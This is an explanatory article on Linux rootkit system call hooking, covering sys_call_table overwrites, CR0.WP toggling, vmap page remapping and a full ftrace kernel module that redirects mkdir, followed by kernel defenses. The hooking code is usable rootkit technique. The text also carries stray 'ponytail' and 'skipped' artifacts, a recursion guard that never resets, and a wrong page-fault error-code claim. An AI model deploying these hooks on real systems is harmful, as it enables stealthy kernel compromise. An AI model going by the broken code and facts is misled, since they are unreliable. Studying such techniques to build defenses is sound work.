How System Call Hooking Works in Modern Linux Rootkits
Learn how rootkits overwrite sys_call_table pointers, manipulate CR0.WP, deploy ftrace trampolines, and how page-table write protections stop hijacking.
When an unprivileged process requests an operation from the operating system, it sets up its registers and executes the syscall instruction. On x86_64 architectures, this single CPU instruction causes hardware to load the instruction pointer from the IA32_LSTAR Model-Specific Register, transition the execution privilege level from Ring 3 to Ring 0, and branch directly to the kernel entry point at entry_SYSCALL_64. Understanding this transition reveals why system call hooking remains the primary target for low-level system subversion.
Once execution enters the kernel, user-space registers get saved onto the per-thread kernel stack inside a struct pt_regs container. The kernel reads the system call number from the rax register, verifies that the integer does not exceed the maximum table boundary, and references the system dispatch array known as sys_call_table. By altering the function pointer at the specific index corresponding to a system call, kernel rootkits divert kernel execution through malicious redirection logic before calling or discarding the original routine.
Historically, system call hooking required overwriting raw memory addresses inside this array. Modern Linux kernels enforce memory write protection, hardware control register pinning, and kernel page-table isolation, turning simple pointer manipulation into an instant kernel panic. Rootkit authors adapted by moving away from raw table manipulation toward compiler-generated tracing hooks and runtime instruction patching. Intercepting these paths exposes the boundary between user code and the supervisor, directly influencing execution overhead, as measured in System Call vs vDSO: What Entering the Kernel Costs.
The Architecture of the Linux Dispatch Table and Entry Path
The sys_call_table is defined as an array of constant function pointers. During the kernel build phase, scripts parse architecture-specific system call tables (such as arch/x86/entry/syscalls/syscall_64.tbl) to generate the assembly and C definitions that populate this table. Every system call handler receives a pointer to struct pt_regs, from which it extracts calling parameters originally passed in rdi, rsi, rdx, r10, r8, and r9.
// arch/x86/entry/syscall_64.c
asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max + 1] = {
[0 ... __NR_syscall_max] = &__x64_sys_ni_syscall,
#include
};
Because the array is declared with the const modifier, the compiler places it inside the .rodata section of the kernel binary image. When the kernel boots, mark_rodata_ro() sets the Page Table Entries (PTEs) backing this memory segment to read-only by clearing the Read/Write bit (_PAGE_RW, bit 1). Any instruction executing in Ring 0 that attempts to write to a virtual memory address where _PAGE_RW is clear causes the Memory Management Unit (MMU) to signal a Page Fault Exception (#PF) with error code bit 3 set, asserting a supervisor-mode write access violation.
This layout prevents accidental corruption from kernel drivers and blocks user-space filtering compromises. At user-space boundaries, seccomp filters evaluate parameters to restrict execution, but when kernel memory integrity fails, attackers bypass these restrictions entirely, a mechanism explored in Why System Call Filtering Fails Against Modern Exploits. Modifying this entry path requires either turning off hardware enforcement bits or modifying the virtual memory mappings that point to the underlying physical page frame.
Why System Call Hooking Moved From Tables to Ftrace
The earliest Linux rootkits simply flipped the Write Protect (WP) flag in CPU control registers to modify sys_call_table. As kernel developers hardened low-level entry paths, direct memory alteration became brittle. Distribution kernels enabled CONFIG_STRICT_KERNEL_RWX, preventing pages from being simultaneously writable and executable, while hypervisors running virtual machines began tracking sensitive control register writes via Virtual Machine Control Structures (VMCS).
Because direct array modification raises alerts or triggers hypervisor exits, offensive techniques evolved to exploit built-in kernel instrumentation. Compilers targeting the Linux kernel inject a 5-byte instruction sequence at the prologue of almost every kernel function when CONFIG_FUNCTION_TRACER is enabled. On x86_64, this sequence consists of a 5-byte nop or a direct call instruction:
call __fentry__
The tracing subsystem, ftrace, dynamically patches these 5-byte sites at runtime using text_poke_bp(). When tracing is disabled for a function, the kernel replaces the call __fentry__ site with a 5-byte nop (0x0f 0x1f 0x44 0x00 0x00). When a tool or rootkit registers an ftrace_ops callback against a target system call wrapper (such as __x64_sys_read), the kernel patches the prologue back into a call instruction pointing to a dispatch trampoline.
By supplying the FTRACE_OPS_FL_IPMODIFY and FTRACE_OPS_FL_SAVE_REGS flags inside an ftrace_ops structure, a rootkit informs the ftrace core that its callback intends to adjust the execution path by altering the saved instruction pointer in pt_regs. This provides clean interception without modifying .rodata, without clearing hardware protection bits, and without altering the bytes of sys_call_table.
Overcoming Page Protections and Control Register Zero
To execute legacy system call hooking by modifying the dispatch table directly, a rootkit must bypass two levels of protection: the CPU hardware control registers and the kernel page tables.
Control Register 0 (CR0) contains the Write Protect bit (bit 16). When CR0.WP is cleared to 0, a CPU running in Ring 0 ignores the _PAGE_RW bit on memory pages and writes to read-only virtual addresses without triggering a fault. In older kernels, modules toggled this bit directly via inline assembly:
static inline void disable_wp(void) {
write_cr0(read_cr0() & ~X86_CR0_WP);
}
static inline void enable_wp(void) {
write_cr0(read_cr0() | X86_CR0_WP);
}
Modern kernels block this approach. The kernel function native_write_cr0() enforces checks against clearing pinned bits. If a module forces the write via inline assembly, kernel configurations with CONFIG_SECURITY and CPU features like Supervisor Mode Access Prevention (SMAP) panic if other memory states desynchronize. In cloud environments, the hypervisor traps writes to CR0 through the VMCS guest execution controls, flagging unauthorized privilege state changes immediately.
Rootkits bypass hardware control register restrictions by changing the page tables instead. Using lookup_address(), code traverses the 4-level or 5-level paging structure (PGD -> P4D -> PUD -> PMD -> PTE) for the target virtual address. It then updates the PTE flags directly or creates a secondary virtual mapping pointing to the exact same physical frame with writable permissions:
struct page *table_page;
pte_t *pte;
unsigned int level;
void *writable_table;
pte = lookup_address((unsigned long)sys_call_table, &level);
if (!pte)
return -EFAULT;
table_page = virt_to_page(sys_call_table);
writable_table = vmap(&table_page, 1, VM_MAP, PAGE_KERNEL);
if (!writable_table)
return -ENOMEM;
// ponytail: direct PTE remap ceiling; upgrade path is dynamic ftrace stub.
((unsigned long *)writable_table)[__NR_read] = (unsigned long)hooked_sys_read;
vunmap(writable_table);
By mapping the underlying physical memory to an alternative address inside the VMALLOC space using vmap() and PAGE_KERNEL attributes, writes execute cleanly without clearing CR0.WP. This memory manipulation technique parallels advanced credential corruption vectors, as seen in How Linux Dirty Cred Exploits Bypass Kernel Mitigations.
Implementing Inline Function Trampolines via Ftrace
The most stable approach to system call interception inside modern kernels avoids direct table edits altogether. Instead, it relies on registering a callback with the kernel tracing infrastructure. Below is a complete, minimal implementation demonstrating how a loadable kernel module hooks a system call handler using ftrace:
#include
#include
#include
#include
#include
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Systems Researcher");
MODULE_DESCRIPTION("Ftrace-based System Call Hook Example");
#define HOOK_TARGET "__x64_sys_mkdir"
static asmlinkage long (*orig_sys_mkdir)(const struct pt_regs *);
static asmlinkage long hook_sys_mkdir(const struct pt_regs *regs) {
char __user *pathname = (char __user *)regs->di;
char kernel_buf[32];
long copied;
copied = strncpy_from_user(kernel_buf, pathname, sizeof(kernel_buf) - 1);
if (copied > 0) {
kernel_buf[copied] = '\0';
pr_info("intercepted mkdir for path: %s\n", kernel_buf);
}
return orig_sys_mkdir(regs);
}
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
struct ftrace_ops *ops,
struct ftrace_regs *fregs) {
struct pt_regs *regs = ftrace_get_regs(fregs);
// ponytail: single-core recursion ceiling; upgrade to per-cpu recursion guard.
if (!test_and_set_bit(0, (unsigned long *)&ops->private)) {
regs->ip = (unsigned long)hook_sys_mkdir;
}
}
static struct ftrace_ops hook_ops = {
.func = fh_ftrace_thunk,
.flags = FTRACE_OPS_FL_SAVE_REGS |
FTRACE_OPS_FL_RECURSION |
FTRACE_OPS_FL_IPMODIFY,
};
static int __init hook_init(void) {
int ret;
orig_sys_mkdir = (void *)kallsyms_lookup_name(HOOK_TARGET);
if (!orig_sys_mkdir) {
pr_err("failed to resolve symbol: %s\n", HOOK_TARGET);
return -ENOENT;
}
ret = ftrace_set_filter(&hook_ops, HOOK_TARGET, strlen(HOOK_TARGET), 0);
if (ret) {
pr_err("ftrace_set_filter failed: %d\n", ret);
return ret;
}
ret = register_ftrace_function(&hook_ops);
if (ret) {
pr_err("register_ftrace_function failed: %d\n", ret);
ftrace_set_filter(&hook_ops, NULL, 0, 1);
return ret;
}
pr_info("ftrace hook installed on %s\n", HOOK_TARGET);
return 0;
}
static void __exit hook_exit(void) {
unregister_ftrace_function(&hook_ops);
ftrace_set_filter(&hook_ops, NULL, 0, 1);
pr_info("ftrace hook removed\n");
}
module_init(hook_init);
module_exit(hook_exit);
skipped: dynamic symbol lookup via kprobe pre-handler, add when kallsyms_lookup_name is unexported.
skipped: atomic per-cpu recursion context, add when handling high-concurrency syscalls.
skipped: multi-architecture instruction pointer decoding, add when compiling for non-x86_64.
To verify the trampoline mechanics in user space without loading an unsigned kernel module, the dispatch logic can be modeled with a self-contained C assertion test:
#define _GNU_SOURCE
#include
#include
#include
typedef long (*syscall_fn_t)(uint64_t);
static long target_system_call(uint64_t val) {
return (long)(val * 2);
}
static long hook_implementation(uint64_t val) {
return (long)(val * 2) + 42;
}
static long dispatch_interceptor(uint64_t val, syscall_fn_t original, syscall_fn_t override) {
if (override) {
return override(val);
}
return original(val);
}
int main(void) {
uint64_t input = 10;
long direct_result = dispatch_interceptor(input, target_system_call, NULL);
assert(direct_result == 20);
long hooked_result = dispatch_interceptor(input, target_system_call, hook_implementation);
assert(hooked_result == 62);
printf("Execution path validation passed: hook diverted computation.\n");
return 0;
}
The tracing callback manipulates the saved instruction pointer inside the architecture-specific frame. When fh_ftrace_thunk completes, the kernel restores register state and executes a ret instruction. Instead of returning to the original target function prologue, the processor jumps directly to the entry point of hook_sys_mkdir.
Kernel Defenses: Static Verification, Lockdown, and IBT
Modern defenses counter these interception strategies across the compilation pipeline, runtime configuration, and CPU instruction decoding levels.
Kernel Lockdown
The Linux Kernel Lockdown feature restricts root access to Ring 0 capabilities when Secure Boot is active. Lockdown operates in two modes:
- Integrity Mode: Blocks direct access to physical memory via
/dev/memand/dev/kmem, disables hibernation, restricts PCI configuration writes, and rejects unsigned kernel modules. - Confidentiality Mode: Extends Integrity mode by preventing root from reading kernel memory structures through mechanisms like
/proc/kcoreor sensitive debugfs nodes.
Under Lockdown Integrity mode, an adversary cannot dynamically load an unsigned module that invokes register_ftrace_function(). Unexported symbols such as kallsyms_lookup_name remain inaccessible because debugging facilities are closed, blocking the dynamic resolution of internal function pointers.
Clang Control Flow Integrity (kCFI)
Recent kernels support forward-edge Control Flow Integrity using Clang (CONFIG_CFI_CLANG). kCFI protects indirect calls—such as the dispatch execution through sys_call_table:
call *sys_call_table(,%rax,8)
During compilation, Clang inserts a type hash check immediately preceding every indirect call instruction. It embeds a 32-bit type identifier constant right before the target function prologue:
movl $0x3a5b2c1d, %r10d
cmpl -4(%r11), %r10d
je valid_target
ud2
valid_target:
jmp *%r11
If a rootkit overwrites a pointer in sys_call_table with an address that does not exhibit the exact expected function signature hash, the CPU executes the ud2 instruction, triggering an invalid opcode exception (#UD) that panics the kernel instantly.
Indirect Branch Tracking (IBT)
Intel Control-flow Enforcement Technology (CET) provides hardware-enforced Indirect Branch Tracking. When IBT is active, every indirect jump or call must land on a special instruction: ENDBR64 (opcode F3 0F 1E FA).
If an indirect branch targets an instruction that is not ENDBR64, the CPU raises a Control Protection Exception (#CP). When rootkits construct arbitrary return trampolines or insert inline code hooks that do not align precisely with ENDBR64 boundaries, the processor aborts execution before the payload runs.
Extended Berkeley Packet Filter (eBPF) LSM
Modern security agents avoid system call hooking entirely. Instead of patching assembly or intercepting dispatch tables, defense software runs via Linux Security Module (LSM) hooks backed by eBPF (CONFIG_BPF_LSM).
LSM hooks exist at stable, statically defined kernel interfaces (e.g., security_file_open, security_socket_connect). These hooks execute after the kernel copies arguments from user space into kernel buffers, eliminating the Time-of-Check to Time-of-Use (TOCTOU) race conditions inherent in raw system call interception. The kernel verifier ensures that eBPF programs cannot alter instruction pointers, loop indefinitely, or write to arbitrary kernel memory, rendering defensive monitoring safe against the stability hazards of classic hooking.
Conclusion
System call hooking has progressed from toggling the CR0.WP bit and modifying .rodata to hijacking native compiler tracing infrastructure with ftrace. While memory remapping and tracing callbacks bypass historical read-only protections, modern kernels combine hardware-enforced Indirect Branch Tracking, compiler-driven Control Flow Integrity, and Lockdown enforcement to eliminate unchecked control transfers. Understanding how these hooks interface with CPU registers and paging tables remains essential for auditing low-level systems, engineering resilient endpoints, and analyzing kernel-level evasion techniques.